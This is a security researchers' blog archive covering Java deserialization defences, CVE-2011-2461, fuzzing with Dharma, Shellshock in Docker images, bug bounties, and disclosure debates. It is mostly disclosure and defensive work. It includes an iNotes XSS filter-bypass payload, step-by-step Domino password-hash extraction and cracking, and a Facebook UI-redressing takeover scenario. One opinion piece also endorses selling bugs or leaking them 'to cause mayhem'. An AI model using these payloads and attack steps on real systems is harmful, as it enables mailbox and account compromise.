Tumblelog by Soup.io
Newer posts are loading.
You are at the newest post.
Click here to check if anything new just came in.

October 02 2016


Defending against Java Deserialization Vulnerabilities

During a recent OWASP Meetup in San Francisco, I gave a presentation on Java Deserialization vulnerabilities focused on defense techniques for identifying and fixing this class of bugs.

While most of the content is based on the work of several Java Security aficionados (@cschneider4711, @e_rnst, @matthias_kaiser,  @pwntester, @frohoff and many others), this presentation contains a couple of new things:

  • Technical details (and exploit) of a serialization bug via JSF view state affecting Sun Java Web Console
  • New features introduced in SerialKiller 

Sun Java Web Console serialized object injection via JSF view state

Since it appears that there're no publicly disclosed details on Java serialization vulnerabilities triggered via JSF ViewState, I thought it would be a good idea to illustrate a bug I discovered in 2010. From slides 12 to 17, you can read more about this issue affecting Sun Java Web Console (which was the default web admin console for Solaris). I've also released an exploit (download here) that uses Hashtable collisions to trigger DoS. RCE is also possible via Apache Common Collections.

Interestingly enough, old versions of javax.faces.ViewState (client-side and with no signature) can be abused in multiple ways:

SerialKiller v0.4

I've released a new version of SerialKiller with new features and improvements:
  • Basic logging support, using Java's native logging
  • Profiling mode. While look-ahead whitelisting provides a robust protection to modern applications, it requires complete enumeration of all Java classes exchanged by the application. With this feature, it is possible to setup SK in "non-blocking" mode in order to enumerate all classes within client-server requests. A step-by-step tutorial on how to whitelist classes is available in the documentation page
  • Signatures parity with Ysoserial. I've created default blacklisting signatures for all exploits (as of 09/07) included in this popular payloads generator tool

November 09 2015


Fixing Java Serialization Bugs with SerialKiller

On Friday, FoxGloveSecurity published a rather inaccurate and misleading blog post on five software vulnerabilities affecting WebLogic, WebSphere, JBoss, Jenkins and OpenNMS. By incorrectly attributing the vulnerability to the Apache Commons Collection library, the blog post generated misinformation on the root cause and possible fixes (e.g. this news.softpedia article).

If you're still unsure on what is the actual issue, Charles Miller published a short blog post illustrating the problem.

Probably thinking that the Apache project wasn't interested in fixing the bug, FoxGloveSecurity's post also contains working exploits for all products.

In fact, even though proof of concept code was released OVER 9 MONTHS AGO, none of the products mentioned in the title of this post have been patched, along with many more. In fact no patch is available for the Java library containing the vulnerability.

As it turned out, some vendors were not aware and others were already working on a patch in their products but haven't released it yet.

Summing up, we're now dealing with five pre-authentication remote code execution vulnerabilities affecting major products. Luckily, the specific services affected by those vulnerabilities are generally not exposed over the Internet thus reducing the overall risk.

Inspired by this story, I started thinking on how I could fix the problem in a systematic way. It didn't take me long to discover this article on using method override to create a look-ahead deserialization filter. While the article explains a potential solution, it didn't provide an easy-to-use library that can be used to protect Java applications.

Introducing SerialKiller

SerialKiller is an easy-to-use look-ahead Java deserialization library to secure applications from untrusted input. You drop the jar in your classpath, use SerialKiller instead of the standard java.io.ObjectInputStream and configure it to allow/block specific classes.

The library, together with a simple tutorial, is available on Github:

At the moment, it supports the following features:

  • Hot-Reload for the config file, so that you don't need to restart your application after changing SerialKiller's config
  • Whitelisting.  If you can quickly identify a list of trusted classes, this is the best way to secure your application. For instance, you could allow classes belonging to your application package only
  • Blacklisting. The default config file already includes a few known attack payloads (thanks to YSoSerial). This can be used to block the exploits released by FoxGloveSecurity

If you want to contribute, ping me on Twitter or using Github.

September 21 2015


Unofficial security patch for Ubiquiti Networks mFi Controller 2.1.11

On September 3, 2015 SecuriTeam disclosed a vulnerability in the Ubiquiti Networks mFi Controller, a software to configure and control automation devices such as power outlets, light/motion/temperature sensors, etc. To understand the capabilities of the machine-to-machine platform, please have a look at the vendor page.
The security flaw allows an attacker to retrieve the current admin password due to a bypass in the authentication mechanism used by the mFi Controller Server.
Just few hours after the public release of the SSD Advisory – Ubiquiti Networks mFi Controller Server Authentication Bypass, the page was removed to accommodate the vendor's request since a patch was not available for download. According to the advisory and Noam Rathaus's tweet, the vendor was aware of this critical vulnerability since the beginning of July 2015.

Digital Self-Defense

Considering that the advisory published on 09/03/2015 contained a technical description of the vulnerability, including a reliable exploit, it is reasonable to assume that the security flaw can be easily abused by unsophisticated attackers. While the information was removed from the SecuriTeam website and /r/netsec, a quick search on Google is sufficient to find the exploit for this bug.
Despite the public exposure, Ubiquiti has yet to publish a patch.
After waiting patiently for a few weeks, I created my own patch. Using mFiPatchMe, you will be able to easily patch your controller and leave it running without worries.
You can download the Unofficial Security Patch for Ubiquiti Networks mFi Controller 2.1.11 from here: https://github.com/ikkisoft/mFiPatchMe
Disclaimer:  This is NOT an official patch provided by  Ubiquiti Networks

August 17 2015


Vulnerability Disclosure: what could that new approach look like?

Few weeks ago, Enno Rey published an interesting reflection around vulnerability disclosure blog post discussing how the industry needs to adjust the “traditional” practices for disclosing software defects to vendors. If you haven't read the post, it’s highly recommended as it exemplifies a genuine experience from someone who has been dealing with vulnerabilities for over a decade.

At the end of the post, Enno is suggesting an open debate asking the community “What could that new approach look like?”
It’s just: what could that new approach look like?
Being a multi-author blog composed by security professionals with different backgrounds, interests and opinions, we decided to provide our input to this important discussion.

Luca Carettoni - @_ikki

If you believe in the vision of building a secure Internet, disclosing vulnerabilities to the vendor is evidently a strong requirement. Since the traditional model of reporting defects “for free” has demonstrated its limitations, it’s important that we build a sustainable ecosystem where security researchers can disclosure vulnerabilities, get a decorous compensation and ultimately hand over the bug to the vendor. Bug bounties and few vulnerability brokers that do not rely on the secrecy of the information (e.g. ZDI) are the incentive for disclosing to the vendor, while alleviating the pain of the process. We need to increase those opportunities by having more programs and higher rewards. Even without outbidding the black market, many researchers will prefer this approach for its ethical implications, resulting in a win-win situation.

If the vendor doesn't care (hey Mary!), digital self-defense in the form of full disclosure is a valid alternative, so that the community can work together on creating mitigations and resilient infrastructure in a timely manner. In these situations, Google's 90-day disclosure deadline is an example of a mechanism used to improve industry response times to security bugs.

Michele Orrù - @antisnatchor

Freedom is the key. I’m tired of regulations and compliance to rules imposed by people who are not even in the security industry.  If I find a bug, I want to have the freedom to do whatever I want with it, for instance:  
  • Keep it private and use it during legit penetration tests or red team engagements, then report it to the vendor 12 months later because it’s Unholy Christmas time; 
  • Sell it just like a PoC, or sit on it to achieve full RCE and then sell it to some broker;  
  • Just go Full Disclosure and publish as a fake persona to cause mayhem;  
  • Privately report it to the vendor, helping them fixing it, etc. 

Let's say I find a bug in a (defensive) security product. I would never report it to the vendor unless they pay a (very) good amount of money. There are tons of security product vendors who make millions of dollars selling crap that works so-so and most of the time can be owned remotely, effectively becoming a pivot point in the customer’s network. Why should I help them for free to make even more money silently patching bugs in their systems?

Moreover, the annoying stories of people saying “hey, if you release that 0day, the black market will use it!”, or “hey, isn’t that open source hacking tool very dangerous if used by the wrong people?” can be demystified very easily. In my opinion governments use the black market as a resource, if they really need to, like the Italian government uses Mafia(s) to get intel/help in certain circumstances. Moreover, about open source hacking tools (same as vulnerabilities) being dangerous: how they are used is the key here. In fact I see a certain analogy between OSS hacking tools and 0days. If someone use an OSS hacking tool to own a financial institution and he gets caught, would you blame the developers of the tool or the guy who did the hack? Same thing for a 0day, would you blame who found it, who used it, or the vendor? Would you blame Vitaly for discovering and selling the infamous Flash 0day, HackingTeam who weaponized it to “rule-them-all”, or Adobe for caring so little about security?

Truth is, education and knowledge are the keys. If we will be able to teach the new generation how to write secure code, how to do fuzzing during software development and testing and to never blindly trust input, then we would really increase Internet security. If we continue to go down through the path of ignorance and security by obscurity, chaos is nearer.

Luca De Fulgentis - @_daath

Said that full disclosure may not be that ethical in certain circumstances (remember Gobbles' apache-scalp?), I do neither truly believe in what is named “responsible” disclosure. Being “responsible” implies withstanding ethics that, in turn, implies naming things as “right” or “wrong”. Instead my own experience points me to think in term of what simply “works” rather than limiting choices – such as disclosing a bug – on the basis of a dualistic paradigm.

I never really understood the term “ethics”, especially if applied to the real-(security)world. We live in the dark ages of the Internet of Things where we are observing the rise of “ethical white knights”, which are building their fame and glory stealing someone else code or shitting on enemies (of the Internet, of course). While these useless characters only exist because of the “evil” the are trying to banish – and, hopefully, they will get of out scene now that the evil has been heavily hacked – what really makes me suffer is the term “ethical hacking”.

Ethical hacking’s deliverables are often intended as weapons to fuck up or deceive someone: technology or services providers, colleagues, managers and sometimes even customers. And let me say that out there most of the security firms and related professionals blindly accept this perverse “game”, even if they are claiming to be "ethical" or "white-something" - after all, business is business.

Back to the vulnerability disclosure debate, I’m not in the right position to properly identify a model that works, but let me say that it sounds like a NP-complete problem to be solved, and I think I’m not wrong when I’m saying that it can be compared to other well-know issues afflicting mankind.

So the whole topic could be shifted to a completely different level: we had, have and will always have insurmountable constraints, represented by subjects only interested in money, fame or power, that will always mark both the upper and lower bounds of "improvements" - name it, in example, a safer Internet via a robust vulnerability disclosure model. It's the same as the old plain physical world. I t’s all the same, only the names will change.

August 10 2015


Using Dharma to rediscover Node.js out-of-band write in UTF8 decoder

A month ago, Node.js released a security update for a bug in  V8's utf-8 decoder affecting Buffer to String conversions. Since numerous native functions for networking and I/O are affected, a  malicious user could deliver a crafted input to  crash a remote Node.js process. A truncated four-bytes sequence can be used to create a misalignment in the  WriteUtf16Slow function, resulting in a segmentation fault. For more details on the actual vulnerability, have a look at the  V8 patch  and the original  bug report .

Just after the release of the patch, I started experimenting with this vulnerability to create a proof-of-concept:

Almost around the same time, I noticed that  Christoph Diehl from  Mozilla published a grammar-based fuzzer named Dharma . The tool parses formal grammar definitions and generates test cases. Although the concept is not new, Mozilla released a neat implementation with great efficiency .

Can we rediscover the same bug using Dharma? 

As an excuse to play with Dharma, I decided to try to replicate the same Buffer vulnerability. In this post, I will guide you through the setup and execution.

First, we need to create a grammar to define Node's Buffer functions. From the official API doc , I started classifying all APIs in three categories: definitions permutations (from Buffer to Buffer) and operations (from Buffer to other types).

Based on this model, all test cases will resemble the following template:

The resulting buffer.dg grammar has been merged in the official Github repository.

With Dharma, we can now generate test cases with a simple command:

At this point, we just need to execute our test cases and wait for the results. After trying a few different solutions, I ended up using a very simple bash script:

After leaving the fuzzer alone for the night, I came back in the morning to discover a multitude of core dumps. Hidden among thousands of V8::FatalProcessOutOfMemory and SIGILL Illegal instruction errors, I finally discovered a sample that was triggering something interesting.

Looking at the backtrace,  we can confirm that we're triggering the same vulnerability. If you're interested, I've uploaded the auto-generated test case.

Now what?!

Node.js Buffer provides a very powerful API with raw memory allocation capabilities. Ilja van Sprundel outlined some of the risks during a recent webcast , and the latest vulnerability was a clear demonstration of the possible outcomes. Having already spent a few hours on building the grammar, I expanded this little fuzzing exercise with the goal of discovering similar vulnerabilities. After a few days of generation/execution and over 400,000 test cases, I have yet to triggered another segmentation fault in Node.js' Buffer. Although this exercise doesn't give us a definitive assurance, it is probably a good sign of the maturity of the API. Nonetheless, grammar-based fuzzing is fun and can lead to interesting results.

May 16 2015


Adopt OSS. A new initiative by OWASP Italy.

NibbleSec blog is a place for neat vulnerabilities, new security research and (hopefully) food for thought. In today's post, I want to take the opportunity to promote a new initiative by OWASP Italy.

Adopt OSS

In the wake of the Snowden revelations and recent OpenSSL vulnerabilities, ensuring the security of the technology that powers our daily life is vital for individuals’ security and privacy on the Internet. Despite the collaborative and transparent nature of open source software, security flaws are still frequently discovered in popular applications.

Given OWASP’s mission to help organizations with application security, the Italian Chapter of OWASP has established a new initiative to provide free, voluntary based support to open source software projectsBy building together open, free and secure systems, we can promote innovation and help building better software, resilient to modern threats.

Thanks to Adopt OSS​, security enthusiasts are paired with participating open source projects, thus gaining exposure to real-­life security engineering challenges and the opportunity for career growth. In turn, the participating projects are able to obtain free professional expertise to better improve their security posture, and ultimately build secure software. Examples of activities include, but are not limited to, thread modeling, performing security assessments, testing security patches, writing documentation on security topics, improving SDLC and vulnerability disclosure practices.

Over a six months period​, OWASP Italy will facilitate the effort by coordinating the initiative and
providing support when needed. The first edition of this initiative will take place between May and November 2015. At the end of the six months period, OWASP Italy will publish results and feedback from both volunteers and OSS maintainers.

Many OpenSource projects need help, and hopefully more security enthusiasts will contribute and create similar initiatives. If you have time to complain about something, then you have the time to do something about it.

March 27 2015


CVE-2011-2461 is back - FAQ

After our presentation at Troopers 2015, we have received numerous replies in the form of comments on SlashdotReddit or emails. In this post, we want to provide more details and clarify some points.

Q: What's the exploit vector here?
A: We've now released all details of an actual attack flow. Please refer to the "Exploiting CVE-2011-2461 on Google.com" blog post to understand the nature of the attack. This should give sufficient technical details on how this vulnerability can be exploited.

Q: Patching all vulnerable SWF files isn't a realistic solution, is it?
A: Unless Adobe introduces an additional check in the player, we don't have many options.

Q: Why doesn't Adobe patch the Flash player?
A: The bug affects Adobe (now Apache) Flex SDK. As a result, it was properly corrected in the compiler. Having said that, Adobe could probably implement a check in the Flash player itself in order to mitigate this issue. Considering that vulnerable SWF files need to be recompiled or patched, it would be beneficial to have a solution that can be easily deployed by Internet users.

Q: I'd love to patch my hazardous SWF files, but the link on Adobe website goes to an error 404. Where can I find this file?
A: Fail. We notified Adobe last week and they have now restored the tool page. Last time we checked, the official patch tool was available for download. Alternatively, it is possible to recompile the entire SWF with a new version of the Flex SDK.

Q: Can you publish more details around the number of vulnerable sites/files?
A: Considering that we've enumerated all SWF files using search engine results only, our numbers may not be accurate and are certainly influenced by numerous factors. As mentioned, 3 out of the Top 10 Alexa sites were hosting at least one vulnerable SWF file. We're interested in collecting metrics around this bug, so please let us know if you have performed extensive scans using ParrotNG.

Q: Where can I find a vulnerable SWF file to test my detection tool?
A: We've created a vulnerable HelloWorld Flex app compiled with an old version of the Flex SDK. You can download the SWF test cases archive, which includes a vulnerable and a non-vulnerable version of the same file.

Brought to you by Mauro Gentile (@sneak_) & Luca Carettoni (@_ikki)

March 19 2015


The old is new, again. CVE-2011-2461 is back!


As part of an ongoing investigation on Adobe Flash SOP bypass techniques, we identified a vulnerability affecting old releases of the Adobe Flex SDK compiler. Further investigation traced the issue back to a known vulnerability (CVE-2011-2461), already patched by Adobe in apsb11-25.

Old vulnerability, bad luck, let's move on. Not this time.

The particularity of CVE-2011-2461 is that vulnerable Flex applications have to be recompiled or patched; even with the most recent Flash player, vulnerable Flex applications can be exploited. As long as the SWF file was compiled with a vulnerable Flex SDK, attackers can still use this vulnerability against the latest web browsers and Flash plugin.

As soon as we understood the potential risk, we conducted a large-scale analysis by locating SWFs hosted on popular websites and analyzing those files with a custom tool capable of detecting vulnerable code patterns. This research has led to the identification of numerous websites vulnerable to CVE-2011-2461, including 3 sites out of the Alexa Top 10.


We're back to the hotel after another amazing day at Troopers 2015, where we presented the results of our research. The information provided in this blog post, together with the slides of the conference (download from here), should be sufficient to detect and mitigate the risk. As soon as we feel that there is a general understanding of this flaw we will be publishing more details, including a real exploitation scenario.

During the past months, we've done our best to privately disclose this issue to some of the largest websites, but we won't be able to reach a broader audience without publicly releasing the technical details. As suggested by the many vulnerable applications that we've encountered, it is clear that CVE-2011-2461 did not raise the adequate level of attention back in 2011. By explaining the potential impact and releasing a tool capable of identifying vulnerable SWF files, we hope to contribute towards eradicating this issue.


This vulnerability allows attackers to steal victims' data (via Same-Origin Request Forgery), or perform actions on behalf of the victim (via Cross-Site Request Forgery), by asking them to visit a malicious web page. Practically speaking, it is possible to force the affected Flash movies to perform Same-Origin requests and return the responses back to the attacker. Since HTTP requests contain cookies and are issued from the victim’s domain, HTTP responses may contain private information including anti-CSRF tokens and user's data.

Summarizing, hosting vulnerable SWF files leads to an "indirect" Same-Origin-Policy bypass in fully patched web browsers and plugins.

Vulnerable Component

Starting from Flex version 3, Adobe introduced runtime localizations. A new component in the Flex framework — the ResourceManager — allows access to localized resources at runtime. Any components that extend UIComponent, Formatter, or Validator have a ResourceManager property, which allows the SWF file to access the singleton instance of the resource manager. By using this new functionality, users can pass localization resources via a resourceModuleURLs FlashVar, instead of embedding all resources within the main SWF.

In practice, Flex applications compiled with SDK >= 3 support the following resource loading mechanism:

In Adobe Flex SDK between 3.x and 4.5.1, compiled SWF files do not properly validate the security domain of the resource module, leading to Same-Origin requests and potentially Flash XSS (in older versions of the Flash player). A detailed root cause analysis is included in our slides deck.

Identifying vulnerable SWF files with ParrotNG

ParrotNG is a Java-based tool for automatically identifying vulnerable SWF files, built on top of swfdump. One JAR, two flavors: command line tool and Burp Pro Passive Scanner Plugin.

Download the tool from https://github.com/ikkisoft/ParrotNG/

ParrotNG Burp Pro PluginParrotNG Command Line

To use the command-line version, simply execute the following:
$ java -jar parrotng_v0.2.jar <SWF File | Directory>
To use ParrotNG Burp Pro Plugin, load parrotng_v0.2.jar from Burp's Extender Tab-->Add as a standard Java extension. With Passive Scanner enabled, all SWF files passing through Burp Suite are automatically analyzed. For more details, please refer to Burp's official documentation.

There are still many more websites that are hosting vulnerable SWF files out there. Please help us making the Internet a safer place by reporting vulnerable files to the respective website's owners.


After having identified all Flex SWF files compiled with a vulnerable version of the Adobe Flex SDK, there are three possibilities:
  • Recompile them with the latest Apache Flex SDK, including static libraries;
  • Patch them with the official Adobe patch tool, as illustrated here. This seems to be sufficiently reliable, at least in our experience;
  • Delete them, if not used anymore.

Brought to you by Mauro Gentile (@sneak_) & Luca Carettoni (@_ikki)

October 15 2014


Shellshock: a survey of Docker images

When I look at the whole Shellshock debacle I am mostly sad. Sad that one can exploit a bug in a piece of software from 1989 to hack internet-connected devices in 2014. I always have this naive hope that maybe, just maybe, not everything is hopelessly broken - which of course gets crushed every other week.

Enough ranting. This blog post is about a small research I've run last week on Docker and Shellshock. No, sorry, this is not yet another "product X is vulnerable to Shellshock if used in a dark night with a super moon" report. So, what is this about? To understand that, we need to do some homework.

Docker Images and you

One of the core concepts of Docker is the difference between an Image and a Container. The TL;DR;, slightly inaccurate version (I should not use Virtual Machine in this context but all readers will be familiars with VMs) can be broken down in two points:
  1. An Image is a "base", read only virtual machine template and a "Container" is a writable instance of that machine;
  2. Images can be chained in a hierarchy of inheritance where a Base image is modified generating a child image and so on. This is "the way" to build images, even though you can always build your own.
Here is an image deep linked from the Docker documentation, which should make things clearer.
As you can see the Debian Base Image has a couple of children before finally generating a writable container. The logic of Docker is such that you should not be "changing" the base image but rather "building on top" of it, adding new components. You surely can, but that would kill one of the key benefits of Docker - citing Red HatLightweight footprint and minimal overhead.

Another important piece of information is that Docker maintains its own repository of public images that anyone can download and use. Docker has some rather complicated concepts for indexes and registries but they don't help us here: suffice to say that in practice lots of users will download images from this "official" repository.

Some important implications for us security folks:

  • If a base image has a security bug, it is at least possible (if not likely) that all the children will inherit the same bug;
  • The logic with which developers most likely approach this model is "I won't have to worry about the base image". This has been somehow hinted at and while some experienced developers will take the need for updates into consideration, not everyone will;
  • People will download and build upon a set of images from Docker's repository. No, we will not hack that, stop being evil!

    Yeah, OK. So, Shellshock and Docker?

    Now that we have a shared passable understanding of how Images work in Docker, let's get to what I have done. Last week I wondered how many of the most popular Docker base images had been updated: Shellshock had significant press coverage, the kind of coverage that pushes my mum to ask me about "that problem they are talking about in the news", so I figured that most of the main images would have been updated by now. Have them?

    To find out, I whipped together a small Python script (published on github) that downloads a list of Docker images in an host VM, downloads and runs a script on each one and then reports the results. Once I finally managed to get it working reliably (and I suspect Guido might have heard me cursing my inability with the language he designed as I longed for the forbidden PHP fruit) I run it against the 100 most popular Docker images published on Docker's repository. In a nutshell, my script simply downloads the image, runs bashcheck on it, and then reports back the results. Because of the way the integration is designed, it will only work on Debian based machines: this is an important point because it means that all my results are likely underestimating the actual numbers.

    Many crashes of Virtual Box later, the results were back. 30 Images had at least one instance of the many bugs the Shellshock umbrella covered. The full results are in the repository with the script, and I'll summarize them later on, but a caveat first. There is no proof that containers using these images or derivates of those images can be exploited: the only thing my script detects is the lack of patching. Don't wear your tinfoil hats just yet.

    Now, without further ado...

    Things I have learnt scanning the 100 most popular Docker images

    • 30% of the top 100 images were still vulnerable to one of the shellshock bugs;
    • 4 of the top 30 were vulnerable, 1 in the top 10 - so around 10% of the really popular images;
    • None of the vulnerable images were "official, Docker maintained images", but some were based on them: those images were still vulnerable because they were not rebuilt after the patch had been applied on the base images. That is, using a base image that gets regularly updated is not enough;
    • Some of the vulnerable images have a consistent user base, or at least downloads. asher/remote_syslog has got almost 900.000 downloads;
    • Docker security team is really nice. I gave them an heads up (nothing for them to do here really, in terms of incident response, but a lot of long term work) and they were very direct about the issues and shared some nice insights. Thumbs up.
    A synthetic summary of the shellshock related bugs I've found scanning on October 9th 2014

      Things you should worry about

      Pentesters never worry! If you are a pentester, you likely want to keep an eye out for usages of Docker images during a pentest. You might even want to ask container's configurations to discover vulnerabilities before you even start the test - it's wonderful to have bugs at day 0.

      If you are on the other side of the security fence, though, Docker is coming for you: it's the new hotness and it's quite likely to pop up in your infrastructure in one form or another. The sooner you have a strategy in mind to update those containers, the better.

      But wait, didn't we use to have the very same problem with virtual machines a few years ago? We still do. But we used to, too.
      However I think there are some subtle but important differences here. As an admin or security person, you can't just SSH in the machine and "apt-get upgrade" it, then save a new snapshot. There is a whole chain of images that might get forked in various points, where some of the nodes might even be escaping your control. Updating images is a very real, known problem: the Docker security team told me they are looking into it so hopefully things are going to get better in the future, but for now you really want to have a story for managing updates. Possibly before the next Shellshock.

      My humble view on things that could be improved

      I should start by saying that I don't know nearly enough about Docker's infrastructure to have a complete view - and that making posts where you have to provide no solution to the problems you find is much easier. However, I think I realized two or three things while working on this:
      • Reporting bugs on Docker images is hard! Some of these images have tens of thousands of users but no bug tracker or no clear way to report security bugs. In some cases I've opened an issue in github and hoped for the best. Providing some kind of built-in bug reporting feature would be a nice to have in the registry, or maybe this could be brewed in Dockerfiles?
      • Old images are bad! When you look at an image in Docker's repository you have a clear indication of when it was built (or at least committed). Check out the Properties of itzg/minecraft-server: it has been built before the Shellshock bug was even discovered and it's based on an official base image. Now, given that we know what base images are vulnerable to bugs and when, it should be possible to simply assume that all the images that have been built before that as potentially vulnerable as well;
      • Custom images are a lot of work to maintain. On one of my bug reports the maintainer of the image just said "sure, I'll rebuild". Since he was using an official Debian build as a base image, it's not a lot of work on his side. Had he used a completely custom OS, he'd have to do a standard upgrade, which takes more and more time and effort as the image ages.

        In conclusion...

        A somewhat interesting percentage of images was found to be vulnerable during my tests, for a total of maybe a couple of millions downloads and thus potentially affected containers. The interesting takeaway for me, however, was that updating Docker images is subtly different and possibly more complex than updating VMs. I suspect this is something we'll have to deal with more and more in the future as containerized systems become widespread.

        EDIT: I have been pointed this blog post which does a detailed analysis of some of the official Base Images - I have only pulled the Latest tag for each Image, so they got more coverage there. From a quick skim, none of the images I've found to be vulnerable were based on the images they flag in the article.

        September 09 2014


        July 07 2014


        June 03 2014


        May 05 2014


        May 01 2014


        August 22 2013


        Five Golden Rules For A Successful Bug Bounty Program

        Bug bounty programs have become a popular complement to already existing security practices, like secure software development and security testing. In this space, there are successful examples with many bugs reported and copious rewards paid out. For vendors, users and researchers, this seems to be a mutually beneficial ecosystem.

        True is that not all bug bounty initiatives have been so successful. In some cases, a great idea was poorly executed resulting in frustration and headache for both vendors and researchers.  Ineffective programs are mainly caused by security immaturity, as not all companies are ready and motivated enough to organize and maintain such initiatives.  Bug bounties are a great complement to other practices but cannot completely substitute professional penetration tests and source code analysis. Many organizations fail to understand that and jump on the bounties bandwagon without having mature security practices in place.

        Talking with a bunch of friends during BlackHat/Defcon, we came up with a list of five golden rules to set your bug bounty program up for success. Although the list is not exhaustive, it was built by collecting opinions from numerous peers and should be a good representation of what security researchers expect.

        If you are a vendor considering to start a similar initiative, please read it carefully.

        The Five Golden Rules:

        1. Build trust, with facts
        Security testing is based on trust, between client and provider. Trust is important during testing, and especially crucial during disclosure time. As a vendor, make sure to provide as much clarity as you can. For duplicate bugs, increase your transparency by providing more details to the reporter (e.g. date/time of the initial disclosure, original bug ID, etc.). Also, fixing bugs and claiming that they are not relevant (thus non-eligible to rewards) is a perfect way to lose trust.

        2. Fast turn around
        Security researchers are happy to spend extra time on explaining bugs and providing workarounds, however they also expect to get notified (and rewarded) at the same reasonable speed. From reporting the bug to paying out rewards, you should have a fast turn around. Fast means days - not months. Even if you need more time to fix the bug, pay out immediately the reward and explain in detail the complexity of rolling out the patch. Decoupling internal development life cycles and bounties allows you to be flexible with external reporters while maintaining your standard company processes.

        3. Get security experts
        If you expect web security bugs, make sure to have web security experts around you. For memory corruption vulnerabilities, you need people able to understand root causes and to investigate application crashes. Either internally or through leveraging trusted parties, this aspect is crucial for your reputation. Many of us have experienced situations in which we had to explain basic vulnerabilities and how to replicate those issues. In several cases, the interlocutors were software engineers and not security folks: we simply talk different languages and use different tools.

        4. Adequate rewards
        Make sure that your monetary rewards are aligned with the market. What's adequate? Check Mozilla, Facebook, Google, Etsy and many others. If you don't have enough budget - just setup a wall of fame, send nice swags and be creative. For instance, you could decide to pay for specific classes of bugs or medium-high impact vulnerabilities only. Always paying at the low end of your rewards range, even for critical security bugs, it is just pathetic. Before starting, crunch some numbers by reviewing past penetration test reports performed by recognized consulting boutiques.

        5. Non-eligible bugs
        Clarify the scope of the program by providing concrete examples, eligible domains and types of bugs that are commonly rejected. Even so, you will have to reject submissions for a multitude of reasons: be as clear and transparent as possible. Spend a few minutes to explain the reason of rejection, especially when the researcher has over-estimated severity or not properly evaluated the issue.

        Happy Bug Hunting, Happy Bug Squashing!

        August 09 2013


        All your (iNotes) emails are belong to me

        This post describes a critical bypass of the Active Content Filtering (ACF) mechanism that is implemented in IBM iNotes to avoid the inclusion of malicious HTML tags as part of emails. The bug has been identified during a web application penetration test, and can be exploited to perform stored Cross-Site Scripting (XSS) attacks. The bypass has been successfully verified with IBM iNotes 9 and an official bulletin and fix have been released on August 1st, 2013.

        From zero to Domino admin in a matter of hours

        Early this spring I have been asked to assess the security of the mail infrastructure owned by a big company here in Italy. Pentesting the Domino/Notes/iNotes ecosystem is nowadays a piece of cake because of the large amount of publicly available documentation, advisories and tools.

        If you are interested in testing this kind of infrastructure, I would recommend the following resources.

        First of all, Marco Ivaldi's script can be used to automatically download all users' password hashes, together with details about every single account (e.g. name, surname, e-mail address, etc.). By simply accessing the names.nsf web resource, the tool extracts the desired information disclosed by the hidden attribute named HTTPPassword. The extracted hashes can be easily cracked using John The Ripper: William Ghote gave a great talk at BSides Las Vegas 2012 detailing the Lotus Notes password cracking process.

        Finally, Penetration from application down to OS - Lotus Domino by Alexandr Polyakov and Lotus Domino: Penetration Through the Controller by Alexey Sintsov complete the picture providing even more details on how to pentest Lotus Domino deployments.

        The links above are amazing resources that describe step by step how to easily hack into a mail infrastructure based on IBM solutions. As for my experience, a standard attack pattern to breach the Domino/iNotes infrastructure and access every company's e-mail accounts can be schematized as follow:

        1. Identify the location/path of the names.nsf web resource;
        2. Identify the user(s) with administrative privileges;
        3. Verify the user's password hash disclosure via the HTTPPassword hidden attribute;
        4. Get all the administrators' password hashes;
        5. Crack the so obtained hashes with John the Ripper;
        6. Log into the Domino Web Administrator application and have a drink.

        The whole process took less than 30 hours and I can't hide that, at least for this time, this task was as easy as cut and paste of known attacks against an outdated environment. As my pentest objectives were quickly accomplished, I decided to turn my job into a security research session. Because of that, I dedicated the rest of the engagement to verifying the effectiveness of the aforementioned ACF mechanism.

        Active Content Filtering (ACF) vulnerability details

        The analysis of the filter started with injecting simple and well-known XSS attack vectors, in order to understand the underlying logic and spot potential defects. On the basis of my analysis - that must be considered an incomplete understanding of the filter's internals, based exclusively on black box observations - ACF tries to block malicious HTML tags by both commenting JavaScript code, specified by the <script> tag, and normalizing/filtering tag attributes that could lead to client-side code execution (e.g. by eliminating the onXYZ event handlers, such as onerror or onmouseover). During the engagement, I found that the filtering feature is not properly implemented and allows an attacker to inject arbitrary attributes. In details, what I found is that the ACF is not able to correctly sanitize the sequence of characters src="<. For the sake of clarity, the following attack payload:

        <img src="< onerror=alert(1) src=x>

        would be transformed in:

        <img < onerror=alert(1) src=x>

        resulting in the JavaScript alert method execution. Figure 1 shows how the above vector is incorrectly treated and used to set the BodyHtml variable - which contains the mail's HTML body message.

        Figure 1 - Bypass of the ACF mechanism and injection of JavaScript code.


        The ACF bypass can be effectively abused to perform stored XSS attacks against iNotes users. In a real-world attack scenario, the bug could not only be exploited to perform Session Hijacking but also combined with Cross-Site Request Forgery (CSRF) to add a new e-mails forwarding rule to the victim's iNotes application, thus effectively backdooring the victim's mailbox. 

        The following video demonstrates the execution of arbitrary JavaScript thanks to the described vulnerability. Moreover, it shows how the mail preview mechanism, if enabled, implies that the victim is not required to open the message in order to trigger the execution of JavaScript code - greatly reducing the required user iteration: 

        Finally, I would like to thank my fellow Sandro Zaccarini and Leonardo Rizzi for providing me the infrastructure to properly investigate this issue, and IBM Product Security Incident Response Team (PSIRT) for their timely responses and professionalism.

        March 19 2013


        UI Redressing against Facebook

        In this post, I'm going to discuss a possible attack scenario, targeting the Facebook web application, that could lead to the reset of account passwords in an automated fashion exploiting a UI Redressing issue with the use of a cross-domain extraction technique.

        UI Redressing bug, again


        During my research, I discovered a Facebook's web resource that is not protected by the X-Frame-Options and that includes the fb_dtsg token, which is adopted as an anti-CSRF token (Figure 1). The following is the affected URL:
        Figure 1 - Facebook's web resource vulnerable to UI Redressing attacks.
        The iframe-to-iframe extraction method can be applied here to extract fb_dtsg's value and, consequently, perform a series of Cross-Site Request Forgery attacks against the integrity of the victim's profile data.

        The theory behind the Facebook profiles takeover


        Facebook allows users to add a mobile number that, once certified, can be adopted as username in order to login or reset the account's password. Users can insert their mobile numbers via the Account Settings → Mobile → Add a phone → add your phone number options (Figure 2 and Figure 3): a confirmation code is therefore sent by Facebook's system to the user's mobile phone and it must be inserted (Figure 4) to complete the activation process.
        Figure 2 - Users can add their mobile number via the "add your phone number here" link. Figure 3 - Facebook's form used to add a mobile number. Figure 4 - A confirmation code is sent to the user's mobile and must be entered to complete the process.
